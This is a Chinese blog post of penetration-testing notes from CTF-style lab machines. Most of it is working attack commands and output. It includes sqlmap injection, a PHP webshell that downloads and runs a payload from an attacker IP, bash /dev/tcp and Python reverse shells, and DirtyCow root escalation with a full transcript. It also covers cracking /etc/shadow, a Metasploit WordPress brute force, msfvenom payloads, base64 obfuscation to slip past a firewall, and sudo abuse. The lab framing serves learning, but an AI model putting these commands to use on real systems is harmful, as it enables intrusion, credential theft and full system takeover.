其它的总结

GET

Linux漏洞扫描器

owasp-zap

owasp-zap攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助我们在开发和测试应用程序中,自动发现Web应用程序中的安全漏洞。另外,他也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。

SQLmap

sqlmap -r request.txt -level 5 -risk 3 -dbs -dbms mysql --batch
# -dbms mysql     指定数据库
# --batch     不再询问,有询问自动补齐

# 请求头XFF注入
sqlmap -u url -headers="X-Forwarded-For:*" -dbs 查看数据库名 --batch

Linux中webshell目录

/usr/share/webshell/php

SuperSecretPassword

SSI注入

CTF之Web安全SSI注入-CSDN博客 https://blog.csdn.net/2401_84466316/article/details/139214094

SSI 注入漏洞_ssi注入-CSDN博客 https://blog.csdn.net/2301_79218813/article/details/139994703

目录遍历漏洞

利用目录遍历漏洞获取shell思路

  • 上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。在kali linux当中获取反弹shell

利用数据库上传webshell

登录数据库后台,新建数据库、数据表、字段(字段名为shell,值为下载并执行webshell的命令)

# 需要更改IP和端口
<?php system("cd /tmp;wget http://ip:port/webshell.php;chmod +x webshell.php;php webshell.php");?>

使用python创建一个简单服务器用于靶场机器下载对应webshell

# python 2
python -m "SimpleHTTPServer" 端口
# python 3
python3 -m http.server 端口

nc创建监听

nc -nlvp 4444

目录遍历也可以用来获取敏感信息

例如:破解Linux用户名和对应的密码

# 获取到文件
/etc/passwd
/etc/shadow
# 将两个文件重新命名为john能识别的cracked文件
unshadow passwd shadow > cracked
# 利用john破解密码
john cracked

脏牛提权

内核提权和Windows溢出提权是一致的,都是寻找相关的系统漏洞进行执行

前提

脏牛提权步骤

1.查看服务器内核版本

uname -a

2.上传脏牛EXP

利用漏洞,将脏牛EXP上传到靶机

3.安装gcc

whereis gcc  # 查看是否存在C语言环境
yum install gcc  # 安装C语言环境,注意在普通用户下不能安装。

4.编译脏牛EXP

gcc -pthread dirty.c -o dirty -lcrypt # 编译

5.执行脏牛EXP

./dirty 123456        # 123456为密码

执行完成后,会创建一个名为 firefart 的root用户

6.登录firefart用户

su -firefart

 一次提权

🔺查看靶机有没有C语言编译环境
www-data@zico:/$ whereis gcc
whereis gcc
gcc: /usr/bin/gcc /usr/lib/gcc /usr/share/man/man1/gcc.1.gz
🔺切换到/tmp目录
www-data@zico:/$ cd /tmp
cd /tmp
🔺上传dirty.c
www-data@zico:/tmp$ wget http://192.168.0.101:8000/dirty.c
wget http://192.168.0.101:8000/dirty.c
--2024-07-28 13:44:18--  http://192.168.0.101:8000/dirty.c
Connecting to 192.168.0.101:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4815 (4.7K) [text/x-csrc]
Saving to: `dirty.c'

100%[======================================>] 4,815       --.-K/s   in 0.002s  

2024-07-28 13:44:18 (2.77 MB/s) - `dirty.c' saved [4815/4815]
🔺查看/tmp,已经上传dirty.c
www-data@zico:/tmp$ ls
ls
dirty.c       webshell.php.1  webshell.php.3
webshell.php  webshell.php.2  webshell.php.4
🔺编译dirty.c
www-data@zico:/tmp$ gcc -pthread dirth.cslfjaf
gcc -pthread dirth.cslfjaf
gcc: error: dirth.cslfjaf: No such file or directory
gcc: fatal error: no input files
compilation terminated.
🔺查看/tmp,多出dirty
www-data@zico:/tmp$ ls
ls
dirty    webshell.php    webshell.php.2  webshell.php.4
dirty.c  webshell.php.1  webshell.php.3
🔺执行dirty
www-data@zico:/tmp$ ./dirty 123456
./dirty 123456
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 123456
Complete line:
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash

mmap: 7f90becee000
madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
🔺切换用户
www-data@zico:/tmp$ su firefart
su firefart
Password: 123456
🔺成功登录root用户
firefart@zico:/tmp# id
id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@zico:/tmp# cd /root
cd /root
🔺寻找flag
firefart@zico:~# ls
ls
flag.txt
firefart@zico:~# cat flag.txt
🔺cat flag.txt
#
#
#
# ROOOOT!
# You did it! Congratz!
# 
# Hope you enjoyed! 
# 
# 
#
#

firefart@zico:~# ^[[A
cat flag.txt
#
#
#
# ROOOOT!
# You did it! Congratz!
# 
# Hope you enjoyed! 
# 
# 
#
#

暴力破解

wordpress

使用wpscan探测wordpress的用户名

wpscan --url www.example.com --enumerate u --enumerate at --enumerate ap
# www.example.com     指定wordpress网站根目录
# --enumerate u        枚举wordpress的用户名
# --enumerate at         枚举wordpress的主题
# --enumerate ap        枚举wordpress的插件

例如:
wpscan --url http://www.vtcsec.com/secret --enumerate u

启动msfconsole暴力破解

msfconsole
use auxiliary/scanner/http/wordpress_login_enum 
set username admin    # 设置用户名
set rhosts 192.168.0.109    # 设置目标主机
set pass_file     /usr/share/wordlists/dirb/common.txt       # 设置字典
set targeturi /secret/    # 设置wordpress根目录路径
run        # 启动

示例: 

┌──(root㉿LIU-kali)-[/etc]
└─# msfconsole             # 启动msfconsole

msf6 > use auxiliary/scanner/http/wordpress_login_enum 
msf6 auxiliary(scanner/http/wordpress_login_enum) > set username admin    # 设置用户名
username => admin

msf6 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.0.109    # 设置目标主机
rhosts => 192.168.0.109
msf6 auxiliary(scanner/http/wordpress_login_enum) > set pass_file     /usr/share/wordlists/dirb/common.txt                    # 设置字典
pass_file => /usr/share/wordlists/dirb/common.txt
msf6 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/    # 设置wordpress根目录路径
targeturi => /secret/

msf6 auxiliary(scanner/http/wordpress_login_enum) > run        # 启动

[*] /secret/ - WordPress Version 4.9.26 detected
[*] 192.168.0.109:80 - /secret/ - WordPress User-Enumeration - Running User Enumeration
[*] 192.168.0.109:80 - /secret/ - WordPress User-Validation - Running User Validation
[*] /secret/ - WordPress User-Validation - Checking Username:'admin'
[+] /secret/ - WordPress User-Validation - Username: 'admin' - is VALID
[+] /secret/ - WordPress User-Validation - Found 1 valid user
[*] 192.168.0.109:80 - [0002/4614] - /secret/ - WordPress Brute Force - Running Bruteforce
[*] 192.168.0.109:80 - [0002/4614] - /secret/ - WordPress Brute Force - Skipping all but 1 [*] 192.168.0.109:80 - [0286/4614] - /secret/ - WordPress Brute Force - Trying username:'admin' with password:'admin'
[+] /secret/ - WordPress Brute Force - SUCCESSFUL login for 'admin' : 'admin'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

使用metasploit的监听返回shell优化

# 查看系统信息
sysinfo
# 切换进入shell
shell
# 查看用户权限
id
# 优化终端
python -c "import pty;pty.spawn('/bin/bash')"

下载/etc/passwd和/etc/shadow爆破密码文件提权

# 下载文件
download /etc/shadow
download /etc/passwd

# 将文件转换为john可以识别的文件格式
unshadow passwd shadow > cracked
# 使用john破解密码
john cracked

提权

往往我们能拿到服务器的web服务器知识具有低权限用户(www-data),对于内网渗透,我们需要提权到root权限。Linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。

提权前提:

  • 已经拿到低权限shell
  • 被入侵的机器上有nc、python、perl等Linux非常常见的工具
  • 有权限上传文件和下载文件

内核漏洞提权

内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集。

# 查看发行版本
cat /etc/issue
cat /etc/*-release

# 查看内核版本
uname -a

# 寻找内核溢出代码
searchspoit 发行版本 内核版本

# 上传内核溢出代码,编译执行
gcc xxx.c -o exploit
chmod +x exploit
./exploit

明文root密码提权

大多Linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面存储了用户,shadow里面是密码的hash。处于安全考虑:passwd是全用户可读,root可写的。shadow是仅root可读写的。

将/etc/passwd和/etc/shadow两个文件下载下来,利用john破解密码

计划任务提权

系统中可能会有一些定时执行的任务,一般这些任务是由crontab来管理的,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell;如果定时任务执行的文件是py脚本,可以使用以下的脚本来替换之前的脚本

#!/usr/bin/python
import os,socket,subprocess
 
s=socket.socket()
s.connect(("192.168.0.101",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
 
# os.dup2 是一个系统调用,用于复制一个文件描述符。s.fileno() 返回 socket 的文件描述符。
# 这三行代码将 socket 的文件描述符复制到标准输入(0)、标准输出(1)和标准错误(2)。这意味着所有通# 过标准输入、输出和错误进行的通信都将通过这个 socket 进行。
 
p=subprocess.call(["/bin/sh","-i"])
 
# 这行代码使用 subprocess.call 启动一个新的 shell 进程。/bin/sh 是 shell 的路径,-i 选项使shell 处于交互模式。        

攻击机使用nc监听对应端口

密码复用

很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。

有了(疑似) root 密码怎么办?你一定想ssh登陆。 然而 ssh 很可能禁止 root 登陆, 或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法在上面“输入“密码就好了。显然,直接在低权shell里面用 sudo 是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin) 。换句话说,sudo 在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。 在shell里面输入:

压缩文件提权

使用sudo -l 命令查看当前用户可以使用root提权的命令信息,如果发现允许zip或tar命令,可以利用它提权

  • 利用zip进行提权

touch exploit
sudo -u root zip exploit.zip exploit -T -unzip-command="sh -c /bin/bash"
  • 利用tar进行提权

sudo -u root tar cf /dev/null exploit -checkpoint-action="/bin/bash"

两个提权工具

重点介绍使用两种不同的工具来帮助我们快速找到可用于攻击目标的潜在内核漏洞。我们将使用的工具是LinPEASLinux-Exploit-Suggester。请按照提供的链接下载这两个文件。

将这两个工具下载到攻击者计算机上后,我们需要将文件传输给受害者。为此,我们可以快速设置一个 Python HTTP 服务器,如下所示:

python3 -m http.server 80

现在我们可以使用 wget 或 curl 将文件下载到受害者上。

最好有“下载”命令的选项,因为您可能会发现系统上未安装其中一个。实际上,经常会发现默认情况下没有安装curl,但wget通常是安装的。

首先,我们需要导航到受害者上的一个可写文件夹,以将我们的工具下载到其中。大多数人喜欢使用/tmp来实现此目的,但让我们更隐蔽一点,使用另一个允许我们读写的内置目录:/dev/shm

cd /dev/shm
wget http://172.16.1.30/linpeas.sh
curl http://172.16.1.30/linux-exploit-suggester.sh -o linux-exploit-suggester.sh

现在这两个工具都在受害者机器上,我们需要授予它们执行权限。可以通过以下两种方式之一添加执行位来完成。

chmod 755 linpeas.sh
chmod +x linux-exploit-suggester.sh

现在这两个程序都授予了执行权限,让我们看看它们可以为我们提供哪些有关内核漏洞利用的信息

1. Linux Exploit Suggester

Linux Exploit Suggester 是一款专门用于查找内核漏洞的工具,因此从这个工具开始是有意义的。

我们可以简单地在受害者上执行脚本并看看它告诉我们什么。

./linux-exploit-suggester.sh

 

在这里我们可以看到相当多的漏洞是“probable”,这是一个很好的迹象,表明其中一个应该有效。这些漏洞利用从新到旧按字母数字顺序输出,因此我们可以开始自上而下或自下而上地测试这些漏洞。由于最新的在顶部,所以让我们自上而下。

2. LinPEAS

我们可以用来寻找内核漏洞的另一个很棒的工具是 LinPEAS。

LinPEAS 是一款终极枚举工具,可提供大量信息。信息量如此之大,以至于让人应接不暇。因此,最好先手动枚举,然后在使用 PEAS 之前使用 Linux-Exploit-Suggester。这样,我们就可以在需要解析 LinPEAS 输出之前快速取胜。

一般来说,在运行 LinPEAS 时,我们会在不带参数的情况下运行它,以进行 "所有检查",然后从上到下逐行检查所有输出。

运行完整扫描时的一个好技巧是将 PEAS 的输出重定向到一个文件,以便使用 grep快速解析常见漏洞。

对我们来说幸运的是,内核漏洞显示在系统信息部分的输出顶部附近。

./linpeas.sh

如果我们进一步向下滚动,我们将看到 Linux-Exploit-Suggester 实际上已合并到 LinPEAS 中,因此我们看到的输出与之前的输出大致相同。

 

 

 

命令执行漏洞

利用思路

# 查看临时缓冲目录
ls -alh /tmp
# 查看home目录,挖掘用户信息,找到叫bill的用户
ls -alh /home
# 查看具体用户的目录,发现该用户可以登录ssh
ls -alh /home/用户名
# 查看系统信息
uname -a

查到目标系统是 Ubuntu ,要知道,Ubuntu 系统有自带的防火墙UFW

利用ssh命令执行root权限命令

使用 ssh 用户名@localhost 通过ssh登录服务器是不需要身份验证的

查看bill用户sudo命令的权限:

ssh bill@localhost sudo -l

关闭 Ubuntu 防火墙:

ssh bill@localhost sudo ufw disable

反弹shell

方式一:

攻击机监听netcat

nc -nlvp 4444

靶场机器反弹shell

ssh bill@localhost sudo bash -i >& /dev/tcp/ip/4444 0>&1
# bash -i    指定交互型模式
# /dev/tcp/ip/4444     TCP协议反弹给目标IP

方式二:

开启python简易http服务器

# python 2
python -m "SimpleHTTPServer" 端口
# python 3
python3 -m http.server 端口

利用命令执行下载木马文件

ssh bill@localhost sudo wget "攻击机shell网址" -O /var/lib/tomcat8/webapps/ROOT/shell.jsp

ssh bill@localhost sudo wget "攻击机shell网址" -O 放在目标主机网站根目录位置

命令执行漏洞(集成工具)

使用 sparta 工具对信息进行探测

Sparta在老版本kali中是这个名字,现在已经改名了,新的名字叫:legion

Sparta是一个nmap、nikto、hydra等工具的集合,利用各个优秀工具的结合,使渗透测试更加便捷

靶场机器反弹shell

echo 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' | bash

Linux命令:搜索文件中的关键字

strings 文件名

##参数
-a / --all:显示所有字符串,包括较短的字符串和非ASCII字符。
-f / --print-file-name:在显示字符串之前先显示文件名。
-n / --bytes=[number]:设置最小字符串长度,默认为4个字符。
-t {o,d,x} / --radix={o,d,x}:以指定的基数(八进制、十进制或十六进制)显示字符串的位置。
-o:类似-radix=o,但以八进制形式显示字符串的偏移量。
-e / --encoding={s,S,b,l,B,L}:选择字符大小和字节顺序,如7位(s)、8位(S)、16位(b或l)、32位(B或L)。

在Linux系统中,strings命令是一个强大且实用的工具,主要用于从二进制文件中提取可打印的字符序列。这些字符序列通常包括变量名、函数名、注释或任何嵌入的文本信息,对于文件分析和调试具有重要意义。

  • 用途
    •  文件分析:在二进制文件中查找嵌入的文本信息,如变量名、函数名、注释等。
    • 安全审计:查找可能嵌入在二进制文件中的敏感信息,如密码、密钥等。
    • 逆向工程:辅助分析未知二进制文件的结构和内容。
    • CTF竞赛:在CTF(Capture The Flag)竞赛中,用于提取加密或隐藏的字符串信息。

hash解密网站

CrackStation(国外网站)Crackstation is the most effective hash cracking service. We crack: MD5, SHA1, SHA2, WPA, and much more... https://crackstation.net/

PUT漏洞

利用PUT漏洞获取shell思路

上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。在Kali Linux中获取反弹shell。

测试PUT漏洞

对敏感目录进行测试

curl -v -X OPTIONS http://靶场IP/路径
## -v 显示详细信息
## -X 加载HTTP报文头
## OPTION 查看该靶场支持的HTTP方法,看有没有PUT

发现/test目录存在PUT方法,利用火狐浏览器的RESTClient插件上传webshell

nc 监听端口

nc -nlvp 端口

由于靶机开启了防火墙,所以使用443端口

python优化终端

python -c "import pty;pty.spawn('/bin/bash')"
# 将python代码写入文件
echo "import pty;pty.spawn('/bin/bash')" > /tmp/asdf.py
# 执行python文件
python /tmp/asdf.py

Linux系统允许普通用户读写的路径

/tmp
/dev/shm    # 更隐蔽

命令注入

渗透测试技巧

searchsploit 对应的系统            # 查找漏洞
searchsploit -p 对应的文件名        # 查找对应漏洞的利用文件路径
searchsploit PlaySMS
searchsploit -p 42003.txt

# 使用网站查找漏洞
http://www/exploit-db.com/exploits/42003/

searchsploit搜索网站

searchsploit搜索网站 https://www.exploit-db.com/

启动监听metaploit

msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter_reverse_tcp
payload => linux/x86/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.110
lhost => 192.168.0.110
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > show options

生成shell (msfvenom)

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.0.110 lport=4444 -f elf > /var/www/html/shell

-p 对应的平台
-f 设置文件格式
重定向写入文件/var/www/html/shell

绕过防火墙 上传shell

利用Basse64绕过防火墙检测

service apache2 start
# 从攻击机下载shll文件,并保存到/tmp/shell文件。将‘’中的字符串加密成base64
echo 'wget http://攻击机的IP地址/shell -O /tmp/shell' | base64
# 给shell赋予高权限。将‘’中的字符串加密成base64
echo 'chmod 777 /tmp/shell' | base64
# 执行文件/tmp/shell。将‘’中的字符串加密成base64
echo '/tmp/shell' | base64

利用playSMS1.4命令执行漏洞,上传webshell

<?php system(base64_decode('Base64编码后的字符串'));die();?>

提权(利用sudo)

拿到普通用户权限,执行 sudo -l 发现下面信息,可以利用perl提权

User www-data may run the following commands on this host:
    (ALL) NOPASSWD: /usr/bin/perl

 执行下面命令提权:

sudo perl -e "exec '/bin/sh'"
bash -i

完整: 

## sudo -l
Matching Defaults entries for www-data on this host:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on this host:
    (ALL) NOPASSWD: /usr/bin/perl
## sudo perl -e "exec '/bin/sh'"
## bash -i
bash: no job control in this shell
## 提权成功

root@Dina:~/SecreTSMSgatwayLogin# cat /root/flag.txt
________                                                _________
\________\--------___       ___         ____----------/_________/
    \_______\----\\\\\\   //_ _ \\    //////-------/________/
        \______\----\\|| (( ~|~ )))  ||//------/________/
            \_____\---\\ ((\ = / ))) //----/_____/
                 \____\--\_)))  \ _)))---/____/
                       \__/  (((     (((_/
                          |  -)))  -  ))


root password is : hello@3210
easy one .....but hard to guess.....
but i think u dont need root password......
u already have root shelll....


CONGO.........
FLAG : 22d06624cd604a0626eb5a2992a6f2e6



root@Dina:~/SecreTSMSgatwayLogin# 

总结:

对于web系统,一定要注意利用现成的EXP。

fuzz测试

测试输入框是否存在SQL注入

利用BurpSuite进行fuzz测试绕过登录验证机制,web模糊测试字典位置 /usr/share/wordlists/wfuzz 

技巧

查看BurpSuite中Introder模块中返回值的不同,区分不同响应

对于绕过认证机制,需要查看源代码,挖掘是否存在js验证

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

python -c "import pty;pty.spawn('/bin/bash')"

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

http://192.168.0.106/wordpress/wp-content/themes/twentyfifteen/404.php

 

vtcsec/secret/wp-content/theme/twentyseventeen/404.php

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值